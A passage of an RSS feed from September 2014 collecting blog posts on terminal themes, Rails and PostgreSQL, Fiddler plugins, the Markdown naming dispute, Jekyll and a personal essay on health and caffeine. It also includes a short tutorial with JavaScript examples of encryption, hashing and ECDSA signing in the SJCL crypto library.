&lt;p&gt;Bonus: See &lt;a href="http://codefork.com/blog/index.php/2011/11/27/getting-the-solarized-theme-to-work-in-emacs"&gt;post&lt;/a&gt; to get solarized on gnome-terminal.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 11 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/resetting-gnome-terminal-preferences</guid></item><item><title>How to Name Things</title><link>https://june.kim/how-to-name-things/</link><author>june.kim</author><pubDate>Thu, 11 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/how-to-name-things/</guid></item><item><title>Tourism Improved</title><link>https://trigonaminima.github.io/2014/09/tourism-improved/</link><description>####Problem statement India is one of the countries having a diverse cultural heritage and thus a wide variety of tourist places. Some of those are still not up to their full potential to be a contributing factor to the India’s economy like other recognized tourist spots. Our tool is focused on the improvement of same tourist places in India which have potential to generate a very good revenue but not generating it. Improvement is suggested on the basis of the previous data of the famous tourist places and present data of the tourist place to be improved.</description><author>Playground</author><pubDate>Thu, 11 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/09/tourism-improved/</guid></item><item><title>Pokemon Black</title><link>http://tinycartridge.com/post/866743831/super-creepy-pokemon-hack</link><description>&lt;p&gt;I came across this story thanks to &lt;a href="http://www.polygon.com/2014/8/22/6053213/pokemon-black-creepypasta"&gt;Polygon&amp;#8217;s refutation&lt;/a&gt; of the mod&amp;#8217;s existence, but fortunately thought to read &lt;a href="http://tinycartridge.com/post/866743831/super-creepy-pokemon-hack"&gt;the original article&lt;/a&gt; over at Tiny Cartridge first&amp;#160;&amp;#8212;&amp;#160;as I would recommend you do as well. &amp;#8220;Creepy&amp;#8221; barely scratches the surface of this haunting tale. Especially if you, like me, grew up loving Pokemon, I encourage you to take a few minutes and read this story; it&amp;#8217;s remarkably well-done.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tinycartridge.com/post/866743831/super-creepy-pokemon-hack"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 10 Sep 2014 18:59:28 GMT</pubDate><guid isPermaLink="true">http://tinycartridge.com/post/866743831/super-creepy-pokemon-hack</guid></item><item><title>Rails Gems to Unlock Advanced PostgreSQL Features</title><link>https://www.brightball.com/articles/rails-gems-to-unlock-advanced-postgresql-features</link><description>If you've spent any amount of time on this site you may have noticed that I'm fond of PostgreSQL...and Ruby on Rails...and that I dislike the general trend among Rails developers to ignore all of the amazing features in PostgreSQL that make your application better in favor of risking data integrity just so that all logic can remain in Rails. So here's my top collection of Rails gems to get at all that untapped power in PostgreSQL that you didn't know you had.</description><author>Brightball Articles</author><pubDate>Wed, 10 Sep 2014 04:47:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/rails-gems-to-unlock-advanced-postgresql-features</guid></item><item><title>Getting to Know Fiddler: Part V: Make Fiddler even more powerful by adding extensions</title><link>https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-v/</link><description>The more time I spend examining Fiddler, the more and more impressed I am. Not only is it feature rich out of the box, but it includes a number of mechanism to easily extend it. This week we're going to focus on the easiest way to add new functionality: installing new plugins.
All of the following plugins are available at Telerik.com. I highly recommend installing them.
JavaScript Formatter The first plugin, and my personal favorite, was introduced to me a few years ago by Joey Robichaud.</description><author>Joshua Rogers</author><pubDate>Tue, 09 Sep 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-v/</guid></item><item><title>Legitimate Text Processing</title><link>http://joe-steel.com/2014-09-04-Legitimate-Text-Processing.html</link><description>&lt;p&gt;As usual, a great post by Joe Steel over at Unauthoritative Pronouncements where he tackles the now-inflammatory issue of Markdown and its numerous variants, and goes on to explain why he cannot get behind Jeff Atwood&amp;#8217;s &amp;#8220;Standard Markdown&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;later renamed to &amp;#8220;Common Markdown&amp;#8221;, and then finally &amp;#8220;CommonMark&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;play. I completely agree with every point Joe made. However, I will say that although I do agree with Joe, I cannot get behind the undertone vilifying Jeff Atwood running beneath a number of the articles I have read on this topic. If &lt;a href="http://blog.codinghorror.com/standard-markdown-is-now-common-markdown/"&gt;Jeff&amp;#8217;s latest blog post&lt;/a&gt; is anything to go by, he meant no offense in the first place. In fact, Jeff gave John Gruber multiple opportunities to express any issues with any aspect of his project, but John could not be bothered to respond. As &lt;a href="http://peroty.com/blog/wrote-about/mark-down-will-make-you-a-great-deal-on-formatted-text/"&gt;Carl Holscher pointed out&lt;/a&gt;, adults should have acted like adults to begin with, aired their grievances promptly and privately, and then proceeded with an interesting project sans the drama. Act your age, and not your font size.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://joe-steel.com/2014-09-04-Legitimate-Text-Processing.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 09 Sep 2014 14:56:01 GMT</pubDate><guid isPermaLink="true">http://joe-steel.com/2014-09-04-Legitimate-Text-Processing.html</guid></item><item><title>A Tale of Two Markdowns</title><link>http://crateofpenguins.com/blog/tale-of-two-markdowns</link><description>&lt;p&gt;Possible the only impartial take on the recent Markdown flareup you will find anywhere, Sid O&amp;#8217;Neill took this opportunity to make a great work of prose rather than a declaration of support in favor of one side or the other. Take this opportunity to enjoy an article for the excellent craft it contains, rather than the point it attempts to make.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/tale-of-two-markdowns"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 09 Sep 2014 14:55:59 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/tale-of-two-markdowns</guid></item><item><title>Short Introduction to SJCL</title><link>http://blog.peramid.es/rss.xml/posts/2014-09-09-sjcl.html</link><description>&lt;p&gt;The Stanford Javascript Crypto Library, or simply &lt;a href="https://github.com/bitwiseshiftleft/sjcl/"&gt;SJCL&lt;/a&gt;, is probably the best option available right now for using cryptography on the client-side: the project started in 2009 as a &lt;a href="https://bitwiseshiftleft.github.io/sjcl/acsac.pdf"&gt;paper&lt;/a&gt; describing how to implement a secure and fast crypto library for web browsers, including, for instance, a CSPRNG algorithm and symmetric encryption. Today, it also has public-key crypto, hashing, and ECC primitives. It’s very small (just 37kb uncompressed w/ ECC), the code is pretty clean, and it’s being maintained by various contributors on GitHub. One of the biggest problems right now is the auto-generated &lt;a href="https://bitwiseshiftleft.github.io/sjcl/doc/"&gt;documentation&lt;/a&gt;, which isn’t super helpful, but that’s not a big deal since you can always read the sources.&lt;/p&gt;
&lt;p&gt;Let’s start with a very simple example using the convenience functions to easily encrypt and decrypt data (using AES):&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode javascript"&gt;&lt;code class="sourceCode javascript"&gt;&lt;span id="cb1-1"&gt;&lt;a href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; msg &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;encrypt&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;secret&amp;quot;&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;&amp;quot;Hi Alice!&amp;quot;&lt;/span&gt;)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;console&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;log&lt;/span&gt;(sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;decrypt&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;secret&amp;quot;&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; msg))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That was pretty simple. Let’s try something different, like hashing a string using SHA-256:&lt;/p&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode javascript"&gt;&lt;code class="sourceCode javascript"&gt;&lt;span id="cb2-1"&gt;&lt;a href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; hash &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hash&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;sha256&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;hash&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;console&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;log&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;hash: &amp;quot;&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hex&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(hash))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// It should print: &amp;quot;hash: b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;SJCL has many ADTs. In this case &lt;code&gt;myhash&lt;/code&gt; is an array of 8 numbers (in js this is 64 bits floats) but it’s actually holding binary data (using just 32 bits for each number), so SJCL provides functions to convert, for example, from a binary array to a string in hexadecimal format.&lt;/p&gt;
&lt;p&gt;For the next example, I would like to use some elliptic curve cryptography, but to do that we need to build SJCL first to enable this option:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/bitwiseshiftleft/sjcl.git sjcl
$ cd sjcl
$ ./configure --with-ecc
$ make&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now with our custom &lt;code&gt;sjcl.js&lt;/code&gt; we can use the ECC primitives like DSA. So let’s sign the previous hash:&lt;/p&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode javascript"&gt;&lt;code class="sourceCode javascript"&gt;&lt;span id="cb4-1"&gt;&lt;a href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Generate a key pair and use it to sign the SHA-256 hash&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; curve &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;curves&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;k256&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; keys &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecdsa&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;generateKeys&lt;/span&gt;(curve&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="dv"&gt;6&lt;/span&gt;)&lt;span class="op"&gt;;&lt;/span&gt; &lt;span class="co"&gt;// 6 is actually the default paranoia, so you can omit that&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; signature &lt;span class="op"&gt;=&lt;/span&gt; keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;sec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;sign&lt;/span&gt;(hash)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Extract the coordinates of the public point and create a public key object for testing&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; pubkey_x &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; curve&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;field&lt;/span&gt;(sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;bn&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;pub&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;()&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;x&lt;/span&gt;))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; pubkey_y &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; curve&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;field&lt;/span&gt;(sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;bn&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;pub&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;()&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;y&lt;/span&gt;))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; point &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;point&lt;/span&gt;(curve&lt;span class="op"&gt;,&lt;/span&gt; pubkey_x&lt;span class="op"&gt;,&lt;/span&gt; pubkey_y)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; newpubkey &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecdsa&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;publicKey&lt;/span&gt;(curve&lt;span class="op"&gt;,&lt;/span&gt; point)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-11"&gt;&lt;a href="#cb4-11" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-12"&gt;&lt;a href="#cb4-12" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Print the signature and verify it&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-13"&gt;&lt;a href="#cb4-13" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;console&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;log&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;sign: &amp;quot;&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;base64&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(signature))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-14"&gt;&lt;a href="#cb4-14" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;console&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;log&lt;/span&gt;(&lt;span class="st"&gt;&amp;quot;verified: &amp;quot;&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;newpubkey&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;verify&lt;/span&gt;(hash&lt;span class="op"&gt;,&lt;/span&gt; signature))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Obviously we didn’t need to create a new public key object to verify the signature, but I wanted to show how to obtain the public point. Finally, here is how we can serialize the public key (a point in the curve) and the private key (the exponent):&lt;/p&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode javascript"&gt;&lt;code class="sourceCode javascript"&gt;&lt;span id="cb5-1"&gt;&lt;a href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; pubkey_hex &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hex&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;pub&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;()&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;x&lt;/span&gt;) &lt;span class="op"&gt;+&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hex&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;pub&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;()&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;y&lt;/span&gt;)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; seckey_hex &lt;span class="op"&gt;=&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hex&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;fromBits&lt;/span&gt;(keys&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;sec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;())&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Unserialize and create a public key object (SJCL will divide the binary array in two parts and get each coordinate)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-5"&gt;&lt;a href="#cb5-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; public_key &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecdsa&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;publicKey&lt;/span&gt;(curve&lt;span class="op"&gt;,&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;codec&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;hex&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;toBits&lt;/span&gt;(pubkey_hex))&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-6"&gt;&lt;a href="#cb5-6" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb5-7"&gt;&lt;a href="#cb5-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Unserialize and create a private key object (we have to create a bignum object)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-8"&gt;&lt;a href="#cb5-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; secret_key_bn &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;bn&lt;/span&gt;(seckey_hex)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-9"&gt;&lt;a href="#cb5-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;var&lt;/span&gt; secret_key &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; sjcl&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecc&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="at"&gt;ecdsa&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;secretKey&lt;/span&gt;(curve&lt;span class="op"&gt;,&lt;/span&gt; secret_key_bn)&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There is a branch that already includes functions for serialization, so this method will be deprecated in the future.&lt;/p&gt;</description><author>pera's blog</author><pubDate>Tue, 09 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.peramid.es/rss.xml/posts/2014-09-09-sjcl.html</guid></item><item><title>The Great Facade</title><link>https://zacs.site/blog/the-great-facade.html</link><description>&lt;p&gt;Every day like clockwork, I copy a small text file out of a staging directory. Shortly thereafter, a Python script pulls the contents of that file out, parses it, and then places each line into a webpage that then gets pushed up to a server managed by a good friend of mine. Within a few seconds of that page going live, the handy Bitly bookmarklet gives me a shortened URL that I then send out to the world thanks to the magic of Tweetbot.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-great-facade.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 08 Sep 2014 11:30:26 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-great-facade.html</guid></item><item><title>From WordPress To Jekyll</title><link>https://kernelcurry.com/blog/wordpress-to-jekyll/</link><description>&lt;h2 id="pros-and-cons"&gt;Pros and Cons&lt;/h2&gt;
&lt;p&gt;There are lots of pros and cons when it comes to WordPress vs Jekyll. After looking through this list you might decide that Jekyll is not for you, and that is fine. Just remember that every tool is used for different tasks and neither WordPress nor Jekyll can be declared &amp;ldquo;better&amp;rdquo; as they are both good in different situations.&lt;/p&gt;
&lt;h4 id="jekyll-pros"&gt;Jekyll Pros&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Speed : No PHP is called or needs to be executed. A static HTML page is served and that removes a lot of overhead on the server.&lt;/li&gt;
&lt;li&gt;Free Hosting : Jekyll sites can be hosted on GitHub for free. (This site is hosted on GitHub)&lt;/li&gt;
&lt;li&gt;Markdown Pages / Posts : All pages and posts can be written in Markdown.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="jekyll-cons"&gt;Jekyll Cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;No back-end or WYSIWYG : Everything is created / edited in a text editor.&lt;/li&gt;
&lt;li&gt;No user management : Unless you count GitHub user management.&lt;/li&gt;
&lt;li&gt;Not as many plugins : Many do exist, but they are not in a central repository like WordPress.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I am sure there are hundreds of other pros and cons that could be listed, but I am trying to keep it simple. If there is something huge I missed, please send me a tweet and I will get it added.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Mon, 08 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/wordpress-to-jekyll/</guid></item><item><title>Body rocket science</title><link>http://dimitarsimeonov.com/2014/09/08/body-rocket-science</link><description>&lt;p&gt;We come into life in a body. We have to take care of our body whether we like it or not. If we don’t take care, we are out of life. Simple.
Our bodies are liabilities to us. They demand payment of food, excercise, shower, sex, warmth.
If we don’t pay our due in time they enforce-collect it. They control of our mind and drive us crazy until they get their payment.&lt;/p&gt;

&lt;p&gt;Their demands aren’t the same to every person. Athletes’ body demands much more exercise than the body of a couch potato.
But then, athlete’s body can handle more stress and load than the body of the couch potato. As a result, the athlete has higher freedom,
they can afford running to a given destination to save time, they can afford carrying a heavy load for longer without breaking a sweat,
they can reach more remote locations and they can climb out of a hole. Depending on the situation, the greater body performance
might be the difference between low and high price, between catching and missing an important train, between life and death.&lt;/p&gt;

&lt;p&gt;Everything else being equal, a better maintained body should theoretically last longer. If I had to bet between two twins, with identical genes,
but different behavior who would have longer life, I’d bet on the one that smokes and drinks less, the one that eats more vegetables, but
less food overall, the one that regularly exercises and stretches.&lt;/p&gt;

&lt;p&gt;I might lose my bet. The “healthier” twin might get into an accident and die, or they might just get unlucky and get cancer, or a virus. There are
many different things that affect our lifespan and how we treat our bodies is just one small part of it. I care to live longer but I don’t want to obsess
over each detail about how my body works. If I do it, then I might reach longer living existence, but I wouldn’t really enjoy my time better, or
achieve more.&lt;/p&gt;

&lt;p&gt;Our body is a liability, but it isn’t what makes us what we are. While I enjoy pushing my body’s endurance limits by doing long runs and bike rides, I want
to measure myself not by the size of my biceps or by how long I have pedaled in a single day, but by mental challenges I’ve overcome and
by things I’ve created. In such psychological challenges the body plays a supporting role. It is necessary to have my body in a condition that
doesn’t distract me from my mental challenge, but it plays very little role in achieving the challenge. Its main role is that it gets out of the way.
The support from the body might come not only in lack of complaint and distraction. The body can take some long term damage in order to
support short term boost for the brain.&lt;/p&gt;

&lt;p&gt;Caffeine. It is a drug. It provides mental boost. It is legal. It comes in tasty package. Cappucino, latte, green or black tea can bring me to life when I feel like a zombie.
Caffeine probably also has some long term damaging effect. But I doubt it is anywhere as bad as alcohol. I haven’t done the research. But I’ve decided that at least for a while it will be a vice I indulge in. Because I’ve voluntarily lived without it for a while, about a month, and I felt lower mental power. I wasn’t as good at thinking, focusing and doing work without it. I was OK but wasn’t at my best.
If caffeine shortens my life expectation a little bit, but allows me to have much better life meanwhile, then why, I’ll keep doing it. This is my cost benefit
analysis.&lt;/p&gt;

&lt;p&gt;At the end of the day, it is rocket science. Literally. My body is the fuel that propels me forward. If I use it wisely it will last a long time. But if I don’t burn ([1]) it when I need to, I would never reach escape velocity.&lt;/p&gt;

